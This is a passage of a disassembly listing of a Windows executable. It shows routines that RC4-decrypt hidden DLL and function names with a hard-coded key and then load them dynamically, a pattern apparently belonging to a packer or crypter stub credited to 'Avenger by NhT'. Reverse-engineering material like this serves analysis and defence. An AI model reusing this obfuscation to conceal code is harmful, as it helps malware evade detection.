--------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40188C proc near ; CODE XREF: sub_402E5C+2Bp push edi push eax push ecx mov edi, edx xor eax, eax repne scasb jnz short loc_401899 not ecx loc_401899: ; CODE XREF: sub_40188C+9j pop eax add ecx, eax pop eax pop edi jmp sub_401810 sub_40188C endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_4018A4 proc near ; CODE XREF: sub_401D48+Fp ; sub_401E7C+Cp test eax, eax jz short locret_4018AB mov eax, [eax-4] locret_4018AB: ; CODE XREF: sub_4018A4+2j retn sub_4018A4 endp ; =============== S U B R O U T I N E ======================================= sub_4018AC proc near ; CODE XREF: sub_4020E4+9Ap test edx, edx jz short locret_4018EF mov ecx, [eax] test ecx, ecx jz sub_4017A0 push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, [ecx-4] mov edx, [esi-4] add edx, edi cmp esi, ecx jz short loc_4018E4 call sub_4019F8 mov eax, esi mov ecx, [esi-4] loc_4018D7: ; CODE XREF: sub_4018AC+41j mov edx, [ebx] add edx, edi call sub_4011B4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4018E4: ; CODE XREF: sub_4018AC+1Fj call sub_4019F8 mov eax, [ebx] mov ecx, edi jmp short loc_4018D7 ; --------------------------------------------------------------------------- locret_4018EF: ; CODE XREF: sub_4018AC+2j retn sub_4018AC endp ; =============== S U B R O U T I N E ======================================= sub_4018F0 proc near ; CODE XREF: sub_402EA0+3Cp ; sub_402EA0+65p ... push ebx push esi push edi mov esi, eax mov edi, edx cmp eax, edx jz loc_40198E test esi, esi jz short loc_40196B test edi, edi jz short loc_401972 mov eax, [esi-4] mov edx, [edi-4] sub eax, edx ja short loc_401913 add edx, eax loc_401913: ; CODE XREF: sub_4018F0+1Fj push edx shr edx, 2 jz short loc_40193F loc_401919: ; CODE XREF: sub_4018F0+45j mov ecx, [esi] mov ebx, [edi] cmp ecx, ebx jnz short loc_401979 dec edx jz short loc_401939 mov ecx, [esi+4] mov ebx, [edi+4] cmp ecx, ebx jnz short loc_401979 add esi, 8 add edi, 8 dec edx jnz short loc_401919 jmp short loc_40193F ; --------------------------------------------------------------------------- loc_401939: ; CODE XREF: sub_4018F0+32j add esi, 4 add edi, 4 loc_40193F: ; CODE XREF: sub_4018F0+27j ; sub_4018F0+47j pop edx and edx, 3 jz short loc_401967 mov ecx, [esi] mov ebx, [edi] cmp cl, bl jnz short loc_40198E dec edx jz short loc_401967 cmp ch, bh jnz short loc_40198E dec edx jz short loc_401967 and ebx, 0FF0000h and ecx, 0FF0000h cmp ecx, ebx jnz short loc_40198E loc_401967: ; CODE XREF: sub_4018F0+53j ; sub_4018F0+5Ej ... add eax, eax jmp short loc_40198E ; --------------------------------------------------------------------------- loc_40196B: ; CODE XREF: sub_4018F0+11j mov edx, [edi-4] sub eax, edx jmp short loc_40198E ; --------------------------------------------------------------------------- loc_401972: ; CODE XREF: sub_4018F0+15j mov eax, [esi-4] sub eax, edx jmp short loc_40198E ; --------------------------------------------------------------------------- loc_401979: ; CODE XREF: sub_4018F0+2Fj ; sub_4018F0+3Cj pop edx cmp cl, bl jnz short loc_40198E cmp ch, bh jnz short loc_40198E shr ecx, 10h shr ebx, 10h cmp cl, bl jnz short loc_40198E cmp ch, bh loc_40198E: ; CODE XREF: sub_4018F0+9j ; sub_4018F0+5Bj ... pop edi pop esi pop ebx retn sub_4018F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401994 proc near ; CODE XREF: sub_401F68+17p ; sub_4020E4+14p ... test eax, eax jz short locret_4019A1 mov edx, [eax-8] inc edx jle short locret_4019A1 inc dword ptr [eax-8] locret_4019A1: ; CODE XREF: sub_401994+2j ; sub_401994+8j retn sub_401994 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4019A4 proc near ; CODE XREF: sub_401E7C+2Cp ; sub_401F68+7Dp ... test eax, eax jz short loc_4019AA retn ; --------------------------------------------------------------------------- byte_4019A9 db 0 ; DATA XREF: sub_4019A4:loc_4019AAo ; --------------------------------------------------------------------------- loc_4019AA: ; CODE XREF: sub_4019A4+2j mov eax, offset byte_4019A9 retn sub_4019A4 endp ; =============== S U B R O U T I N E ======================================= sub_4019B0 proc near ; CODE XREF: sub_4019F0j mov edx, [eax] test edx, edx jz short loc_4019ED mov ecx, [edx-8] dec ecx jz short loc_4019ED push ebx mov ebx, eax mov eax, [edx-4] call sub_4017E4 mov edx, eax mov eax, [ebx] mov [ebx], edx push eax mov ecx, [eax-4] call sub_4011B4 pop eax mov ecx, [eax-8] dec ecx jl short loc_4019EA dec dword ptr [eax-8] jnz short loc_4019EA lea eax, [eax-8] call sub_4010E8 loc_4019EA: ; CODE XREF: sub_4019B0+2Bj ; sub_4019B0+30j mov edx, [ebx] pop ebx loc_4019ED: ; CODE XREF: sub_4019B0+4j ; sub_4019B0+Aj mov eax, edx retn sub_4019B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019F0 proc near ; CODE XREF: sub_401E7C+24p ; sub_401F68+40p ... jmp sub_4019B0 sub_4019F0 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4019F8 proc near ; CODE XREF: sub_401214+7Fp ; sub_4018AC+21p ... push ebx push esi push edi mov ebx, eax mov esi, edx xor edi, edi test edx, edx jle short loc_401A4D mov eax, [ebx] test eax, eax jz short loc_401A2E cmp dword ptr [eax-8], 1 jnz short loc_401A2E sub eax, 8 add edx, 9 push eax mov eax, esp call sub_401100 pop eax add eax, 8 mov [ebx], eax mov [eax-4], esi mov byte ptr [esi+eax], 0 jmp short loc_401A56 ; --------------------------------------------------------------------------- loc_401A2E: ; CODE XREF: sub_4019F8+11j ; sub_4019F8+17j mov eax, edx call sub_4017E4 mov edi, eax mov eax, [ebx] test eax, eax jz short loc_401A4D mov edx, edi mov ecx, [eax-4] cmp ecx, esi jl short loc_401A48 mov ecx, esi loc_401A48: ; CODE XREF: sub_4019F8+4Cj call sub_4011B4 loc_401A4D: ; CODE XREF: sub_4019F8+Bj ; sub_4019F8+43j mov eax, ebx call sub_40174C mov [ebx], edi loc_401A56: ; CODE XREF: sub_4019F8+34j pop edi pop esi pop ebx retn sub_4019F8 endp ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= sub_401A60 proc near ; CODE XREF: CODE:00401A77p ; DATA XREF: sub_401A80:loc_401A87o mov al, 10h jmp loc_4011A8 sub_401A60 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_401A68: ; DATA XREF: sub_401A80+14o mov ax, [eax] sub ax, 2 jb short locret_401A7C sub ax, 8 jz short locret_401A7C call sub_401A60 locret_401A7C: ; CODE XREF: CODE:00401A6Fj ; CODE:00401A75j retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401A80 proc near ; CODE XREF: sub_401B14+38p mov edx, offset dword_4055BC xor eax, eax loc_401A87: ; CODE XREF: sub_401A80+12j mov dword ptr [edx+eax*4], offset sub_401A60 inc eax cmp eax, 2Bh jnz short loc_401A87 mov eax, offset loc_401A68 mov ds:dword_4055BC, eax retn sub_401A80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401AA0 proc near ; DATA XREF: sub_401B14+13o mov al, 11h jmp loc_4011A8 sub_401AA0 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_401AA8 proc near ; CODE XREF: sub_401C2C+5p mov edx, ds:dword_40400C mov [eax], edx mov ds:dword_40400C, eax retn sub_401AA8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401AB8 proc near ; CODE XREF: sub_401664+66p ; DATA XREF: DATA:off_404014o push ebx push esi mov esi, eax mov ebx, ds:dword_404010 test ebx, ebx jz short loc_401AD2 loc_401AC6: ; CODE XREF: sub_401AB8+18j mov eax, [esi+4] call dword ptr [ebx+4] mov ebx, [ebx] test ebx, ebx jnz short loc_401AC6 loc_401AD2: ; CODE XREF: sub_401AB8+Cj pop esi pop ebx retn sub_401AB8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401AD8 proc near ; DATA XREF: CODE:00403258o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_401B0B push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_405588 jnz short loc_401AFD call ds:off_404058 call ds:off_404024 loc_401AFD: ; CODE XREF: sub_401AD8+17j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_401B12 loc_401B0A: ; CODE XREF: sub_401AD8+38j retn ; --------------------------------------------------------------------------- loc_401B0B: ; DATA XREF: sub_401AD8+6o jmp loc_40151C ; --------------------------------------------------------------------------- jmp short loc_401B0A ; --------------------------------------------------------------------------- loc_401B12: ; CODE XREF: sub_401AD8:loc_401B0Aj ; DATA XREF: sub_401AD8+2Do pop ebp retn sub_401AD8 endp ; =============== S U B R O U T I N E ======================================= sub_401B14 proc near ; DATA XREF: CODE:00403254o sub ds:dword_405588, 1 jnb short locret_401B5B call GetProcessHeap ; GetProcessHeap mov ds:hHeap, eax mov ds:dword_405000, offset sub_401AA0 mov ds:word_405028, 0D7B0h mov ds:word_4051F4, 0D7B0h mov ds:word_4053C0, 0D7B0h call sub_401A80 call GetCurrentThreadId ; GetCurrentThreadId mov ds:dword_405018, eax locret_401B5B: ; CODE XREF: sub_401B14+7j retn sub_401B14 endp ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 2Fh aPortionsCopyri db 'Portions Copyright (c) 1999,2003 Avenger by NhT',0 ; DATA XREF: DATA:off_40405Co ; =============== S U B R O U T I N E ======================================= sub_401B94 proc near ; CODE XREF: sub_401BA8+21p push eax ; uBytes push 40h ; uFlags call LocalAlloc ; LocalAlloc retn sub_401B94 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401BA0 proc near ; CODE XREF: sub_401BA8+1p mov eax, 4 retn sub_401BA0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401BA8 proc near ; CODE XREF: sub_401BEC:loc_401C06p push ebx call sub_401BA0 mov ebx, eax test ebx, ebx jz short loc_401BEA cmp ds:TlsIndex, 0FFFFFFFFh jnz short loc_401BC7 mov eax, 0E2h call sub_401740 ; --------------------------------------------------------------------------- loc_401BC7: ; CODE XREF: sub_401BA8+13j mov eax, ebx call sub_401B94 test eax, eax jnz short loc_401BDE mov eax, 0E2h call sub_401740 ; --------------------------------------------------------------------------- jmp short loc_401BEA ; --------------------------------------------------------------------------- loc_401BDE: ; CODE XREF: sub_401BA8+28j push eax ; lpTlsValue mov eax, ds:TlsIndex push eax ; dwTlsIndex call TlsSetValue ; TlsSetValue loc_401BEA: ; CODE XREF: sub_401BA8+Aj ; sub_401BA8+34j pop ebx retn sub_401BA8 endp ; =============== S U B R O U T I N E ======================================= sub_401BEC proc near ; CODE XREF: sub_40115C+20p mov cl, ds:byte_405668 mov eax, ds:TlsIndex test cl, cl jnz short loc_401C21 mov edx, large fs:2Ch mov eax, [edx+eax*4] retn ; --------------------------------------------------------------------------- loc_401C06: ; CODE XREF: sub_401BEC+3Dj call sub_401BA8 mov eax, ds:TlsIndex push eax ; dwTlsIndex call TlsGetValue ; TlsGetValue test eax, eax jz short loc_401C1B retn ; --------------------------------------------------------------------------- loc_401C1B: ; CODE XREF: sub_401BEC+2Cj mov eax, ds:dword_405674 retn ; --------------------------------------------------------------------------- loc_401C21: ; CODE XREF: sub_401BEC+Dj push eax ; dwTlsIndex call TlsGetValue ; TlsGetValue test eax, eax jz short loc_401C06 retn sub_401BEC endp ; =============== S U B R O U T I N E ======================================= sub_401C2C proc near ; CODE XREF: sub_401C38+2Ep mov eax, offset dword_404064 call sub_401AA8 retn sub_401C2C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401C38 proc near ; CODE XREF: CODE:004032A6p push ebx mov ebx, eax xor eax, eax mov ds:TlsIndex, eax push 0 ; lpModuleName call GetModuleHandleA ; GetModuleHandleA mov ds:dword_40566C, eax mov eax, ds:dword_40566C mov ds:dword_404068, eax xor eax, eax mov ds:dword_40406C, eax xor eax, eax mov ds:dword_404070, eax call sub_401C2C mov edx, offset dword_404064 mov eax, ebx call sub_4015F8 pop ebx retn sub_401C38 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401C7C proc near ; DATA XREF: CODE:00403250o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_401CAD push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_405670 jnz short loc_401C9F mov eax, offset off_40405C call sub_40174C loc_401C9F: ; CODE XREF: sub_401C7C+17j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_401CB4 loc_401CAC: ; CODE XREF: sub_401C7C+36j retn ; --------------------------------------------------------------------------- loc_401CAD: ; DATA XREF: sub_401C7C+6o jmp loc_40151C ; --------------------------------------------------------------------------- jmp short loc_401CAC ; --------------------------------------------------------------------------- loc_401CB4: ; CODE XREF: sub_401C7C:loc_401CACj ; DATA XREF: sub_401C7C+2Bo pop ebp retn sub_401C7C endp ; --------------------------------------------------------------------------- align 4 loc_401CB8: ; DATA XREF: CODE:off_40324Co sub ds:dword_405670, 1 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401CC0 proc near ; DATA XREF: CODE:00403260o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_401CE5 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_405678 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_401CEC loc_401CE4: ; CODE XREF: sub_401CC0+2Aj retn ; --------------------------------------------------------------------------- loc_401CE5: ; DATA XREF: sub_401CC0+6o jmp loc_40151C ; --------------------------------------------------------------------------- jmp short loc_401CE4 ; --------------------------------------------------------------------------- loc_401CEC: ; CODE XREF: sub_401CC0:loc_401CE4j ; DATA XREF: sub_401CC0+1Fo pop ebp retn sub_401CC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401CF0 proc near ; DATA XREF: CODE:0040325Co sub ds:dword_405678, 1 retn sub_401CF0 endp ; [00000006 BYTES: COLLAPSED FUNCTION FreeLibrary_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetProcAddress. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION LoadLibraryA. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D10 proc near ; DATA XREF: CODE:00403268o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_401D35 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40567C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_401D3C loc_401D34: ; CODE XREF: sub_401D10+2Aj retn ; --------------------------------------------------------------------------- loc_401D35: ; DATA XREF: sub_401D10+6o jmp loc_40151C ; --------------------------------------------------------------------------- jmp short loc_401D34 ; --------------------------------------------------------------------------- loc_401D3C: ; CODE XREF: sub_401D10:loc_401D34j ; DATA XREF: sub_401D10+1Fo pop ebp retn sub_401D10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401D40 proc near ; DATA XREF: CODE:00403264o sub ds:dword_40567C, 1 retn sub_401D40 endp ; =============== S U B R O U T I N E ======================================= sub_401D48 proc near ; CODE XREF: sub_401EBC+15p var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF4h mov [esp+1Ch+var_1C], edx mov edi, eax mov eax, [esp+1Ch+var_1C] call sub_4018A4 mov [esp+1Ch+var_14], eax mov byte ptr [edi+100h], 0 mov byte ptr [edi+101h], 0 xor edx, edx mov eax, edi loc_401D72: ; CODE XREF: sub_401D48+30j mov [eax], dl inc edx inc eax test dl, dl jnz short loc_401D72 xor eax, eax xor esi, esi mov dl, 0 mov ecx, edi loc_401D82: ; CODE XREF: sub_401D48+87j nop nop nop nop nop cmp esi, [esp+1Ch+var_14] jge short loc_401D99 mov ebx, [esp+1Ch+var_1C] mov bl, [ebx+esi] mov [esp+1Ch+var_17], bl jmp short loc_401D9E ; --------------------------------------------------------------------------- loc_401D99: ; CODE XREF: sub_401D48+43j mov [esp+1Ch+var_17], 0 loc_401D9E: ; CODE XREF: sub_401D48+4Fj inc esi cmp esi, [esp+1Ch+var_14] jl short loc_401DA7 xor esi, esi loc_401DA7: ; CODE XREF: sub_401D48+5Bj mov bl, [ecx] add bl, [esp+1Ch+var_17] add al, bl mov bl, [ecx] mov [esp+1Ch+var_18], bl xor ebx, ebx mov bl, al mov bl, [edi+ebx] mov [ecx], bl xor ebx, ebx mov bl, al lea ebp, [edi+ebx] mov bl, [esp+1Ch+var_18] mov [ebp+0], bl inc ecx dec dl jnz short loc_401D82 nop nop nop nop nop add esp, 0Ch pop ebp pop edi pop esi pop ebx retn sub_401D48 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401DE0 proc near ; CODE XREF: sub_401EBC+54p nop nop nop nop nop xor ecx, ecx mov edx, 102h call sub_40137C retn sub_401DE0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401DF4 proc near ; CODE XREF: sub_401E7C+36p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi nop nop nop nop nop mov ebx, [ebp+arg_0] dec ebx test ebx, ebx jl short loc_401E73 inc ebx mov [ebp+var_4], ebx mov esi, edx loc_401E0E: ; CODE XREF: sub_401DF4+7Dj inc byte ptr [eax+100h] xor edx, edx mov dl, [eax+100h] mov dl, [eax+edx] add [eax+101h], dl nop nop nop nop nop xor ebx, ebx mov bl, [eax+101h] mov bl, [eax+ebx] push ebx xor ebx, ebx mov bl, [eax+100h] lea edi, [eax+ebx] pop ebx mov [edi], bl xor ebx, ebx mov bl, [eax+101h] mov [eax+ebx], dl xor ebx, ebx mov bl, [eax+100h] add dl, [eax+ebx] nop nop nop nop nop and edx, 0FFh mov dl, [eax+edx] xor dl, [esi] mov [ecx], dl inc ecx inc esi dec [ebp+var_4] jnz short loc_401E0E loc_401E73: ; CODE XREF: sub_401DF4+12j pop edi pop esi pop ebx pop ecx pop ebp retn 4 sub_401DF4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401E7C proc near ; CODE XREF: sub_401EBC+37p push ebx push esi push edi push ebp mov edi, ecx mov esi, edx mov ebp, eax mov eax, esi call sub_4018A4 mov ebx, eax mov eax, edi mov edx, ebx call sub_4019F8 nop nop nop nop nop push ebx mov eax, edi call sub_4019F0 push eax mov eax, esi call sub_4019A4 mov edx, eax mov eax, ebp pop ecx call sub_401DF4 pop ebp pop edi pop esi pop ebx retn sub_401E7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401EBC proc near ; CODE XREF: sub_401F68+75p ; sub_401F68+9Ap ... var_102 = byte ptr -102h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0040151C SIZE 00000036 BYTES push ebp mov ebp, esp add esp, 0FFFFFEFCh push ebx push esi mov esi, ecx mov ebx, eax lea eax, [ebp+var_102] call sub_401D48 nop nop nop nop nop xor eax, eax push ebp push offset loc_401F16 push dword ptr fs:[eax] mov fs:[eax], esp mov ecx, esi lea eax, [ebp+var_102] mov edx, ebx call sub_401E7C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_401F1D loc_401F05: ; CODE XREF: sub_401EBC+5Fj nop nop nop nop nop lea eax, [ebp+var_102] call sub_401DE0 retn ; --------------------------------------------------------------------------- loc_401F16: ; DATA XREF: sub_401EBC+22o jmp loc_40151C ; --------------------------------------------------------------------------- jmp short loc_401F05 ; --------------------------------------------------------------------------- loc_401F1D: ; DATA XREF: sub_401EBC+44o pop esi pop ebx mov esp, ebp pop ebp retn sub_401EBC endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401F24 proc near ; DATA XREF: CODE:00403270o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_401F49 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_405680 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_401F50 loc_401F48: ; CODE XREF: sub_401F24+2Aj retn ; --------------------------------------------------------------------------- loc_401F49: ; DATA XREF: sub_401F24+6o jmp loc_40151C ; --------------------------------------------------------------------------- jmp short loc_401F48 ; --------------------------------------------------------------------------- loc_401F50: ; CODE XREF: sub_401F24:loc_401F48j ; DATA XREF: sub_401F24+1Fo pop ebp retn sub_401F24 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401F54 proc near ; DATA XREF: CODE:0040326Co sub ds:dword_405680, 1 retn sub_401F54 endp ; =============== S U B R O U T I N E ======================================= sub_401F5C proc near ; CODE XREF: sub_401F68+2Dp ; sub_4020E4+31p ... test eax, eax jz short locret_401F65 sub eax, 4 mov eax, [eax] locret_401F65: ; CODE XREF: sub_401F5C+2j retn sub_401F5C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401F68 proc near ; CODE XREF: CODE:00403358p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx push esi push edi xor eax, eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] call sub_401994 xor eax, eax push ebp push offset loc_40208A push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+arg_4] call sub_401F5C mov ebx, eax cmp ebx, 4 jbe loc_402060 lea eax, [ebp+arg_4] call sub_4019F0 mov edi, eax mov edx, [edi] mov eax, esi call sub_4019F8 cmp dword ptr [edi], 80000h jbe short loc_401FC9 mov [ebp+var_8], 2 jmp short loc_401FD0 ; --------------------------------------------------------------------------- loc_401FC9: ; CODE XREF: sub_401F68+56j mov [ebp+var_8], 102h loc_401FD0: ; CODE XREF: sub_401F68+5Fj lea ecx, [ebp+var_C] mov edx, offset a@errt14@Yht41 ; "@erRT14@$%yHt41" mov eax, offset dword_4020BC call sub_401EBC mov eax, [ebp+var_C] call sub_4019A4 push eax ; lpLibFileName call LoadLibraryA ; LoadLibraryA mov ds:hModule, eax lea ecx, [ebp+var_10] mov edx, offset a@errt14@Yht41 ; "@erRT14@$%yHt41" mov eax, offset dword_4020D0 call sub_401EBC mov eax, [ebp+var_10] call sub_4019A4 push eax ; lpProcName mov eax, ds:hModule push eax ; hModule call GetProcAddress ; GetProcAddress mov ds:dword_405688, eax lea eax, [ebp+var_4] push eax sub ebx, 4 push ebx lea eax, [ebp+arg_4] call sub_4019F0 add eax, 4 push eax mov eax, [edi] push eax mov eax, esi call sub_4019F0 push eax mov eax, [ebp+var_8] push eax call ds:dword_405688 mov eax, ds:hModule push eax ; hLibModule call FreeLibrary_0 mov eax, esi mov edx, [ebp+var_4] call sub_4019F8 jmp short loc_402067 ; --------------------------------------------------------------------------- loc_402060: ; CODE XREF: sub_401F68+37j mov eax, esi call sub_40174C loc_402067: ; CODE XREF: sub_401F68+F6j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_402091 loc_402074: ; CODE XREF: sub_401F68+127j lea eax, [ebp+var_10] mov edx, 2 call sub_401770 lea eax, [ebp+arg_4] call sub_40174C retn ; --------------------------------------------------------------------------- loc_40208A: ; DATA XREF: sub_401F68+1Fo jmp loc_40151C ; --------------------------------------------------------------------------- jmp short loc_402074 ; --------------------------------------------------------------------------- loc_402091: ; CODE XREF: sub_401F68+121j ; DATA XREF: sub_401F68+107o pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_401F68 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 0Fh a@errt14@Yht41 db '@erRT14@$%yHt41',0 ; DATA XREF: sub_401F68+6Bo ; sub_401F68+90o dd 0FFFFFFFFh, 9 dword_4020BC dd 1C314749h, 12981B7Ch, 0AFh, 0FFFFFFFFh, 13hdword_4020D0 dd 34394775h, 13935675h, 50EB95B3h, 0D2B870BCh, 6FD978h ; DATA XREF: sub_401F68+95o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4020E4 proc near ; CODE XREF: CODE:00403365p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx push esi push edi xor eax, eax mov [ebp+var_C], eax mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] call sub_401994 xor eax, eax push ebp push offset loc_4021A7 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, esi call sub_40174C mov eax, [ebp+arg_4] call sub_401F5C mov [ebp+var_8], eax mov ebx, 1 cmp ebx, [ebp+var_8] ja short loc_402189 loc_402127: ; CODE XREF: sub_4020E4+A3j mov eax, [ebp+arg_4] mov al, [eax+ebx-1] test al, al jnz short loc_40216A mov eax, [ebp+arg_4] mov al, [eax+ebx] mov [ebp+var_1], al mov eax, [esi] call sub_401F5C mov edi, eax xor edx, edx mov dl, [ebp+var_1] add edx, edi mov eax, esi call sub_4019F8 mov eax, esi call sub_4019F0 add eax, edi xor edx, edx mov dl, [ebp+var_1] xor ecx, ecx call sub_40137C inc ebx jmp short loc_402183 ; --------------------------------------------------------------------------- loc_40216A: ; CODE XREF: sub_4020E4+4Cj lea eax, [ebp+var_C] mov edx, [ebp+arg_4] mov dl, [edx+ebx-1] call sub_401840 mov edx, [ebp+var_C] mov eax, esi call sub_4018AC loc_402183: ; CODE XREF: sub_4020E4+84j inc ebx cmp ebx, [ebp+var_8] jbe short loc_402127 loc_402189: ; CODE XREF: sub_4020E4+41j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4021AE loc_402196: ; CODE XREF: sub_4020E4+C8j lea eax, [ebp+var_C] call sub_40174C lea eax, [ebp+arg_4] call sub_40174C retn ; --------------------------------------------------------------------------- loc_4021A7: ; DATA XREF: sub_4020E4+1Co jmp loc_40151C ; --------------------------------------------------------------------------- jmp short loc_402196 ; --------------------------------------------------------------------------- loc_4021AE: ; CODE XREF: sub_4020E4+C2j ; DATA XREF: sub_4020E4+ADo pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_4020E4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4021B8 proc near ; DATA XREF: CODE:00403278o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_4021DD push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_405684 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4021E4 loc_4021DC: ; CODE XREF: sub_4021B8+2Aj retn ; --------------------------------------------------------------------------- loc_4021DD: ; DATA XREF: sub_4021B8+6o jmp loc_40151C ; --------------------------------------------------------------------------- jmp short loc_4021DC ; --------------------------------------------------------------------------- loc_4021E4: ; CODE XREF: sub_4021B8:loc_4021DCj ; DATA XREF: sub_4021B8+1Fo pop ebp retn sub_4021B8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4021E8 proc near ; DATA XREF: CODE:00403274o sub ds:dword_405684, 1 retn sub_4021E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4021F0 proc near ; CODE XREF: sub_4026DC+33p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov ecx, 8 loc_4021F8: ; CODE XREF: sub_4021F0+Dj push 0 push 0 dec ecx jnz short loc_4021F8 push ebx push esi mov esi, offset dword_4056AC xor eax, eax push ebp push offset loc_40244F push dword ptr fs:[eax] mov fs:[eax], esp lea ecx, [ebp+var_8] mov edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41" mov eax, offset dword_40247C call sub_401EBC mov eax, [ebp+var_8] call sub_4019A4 push eax ; lpLibFileName call LoadLibraryA ; LoadLibraryA mov ebx, eax lea ecx, [ebp+var_C] mov edx, offset a@errt14@Yht4_0 ; "@erRT14@$%yHt41" mov eax, offset dword_402494 call sub_401EBC mov eax, [ebp+var_C] call sub_4019A4 push eax ; lpLibFileName call LoadLibraryA ; LoadLibraryA mov [ebp+var_4], eax lea ecx, [ebp+var_10] mov edx, offset a@errt14@Yht4_0 ; 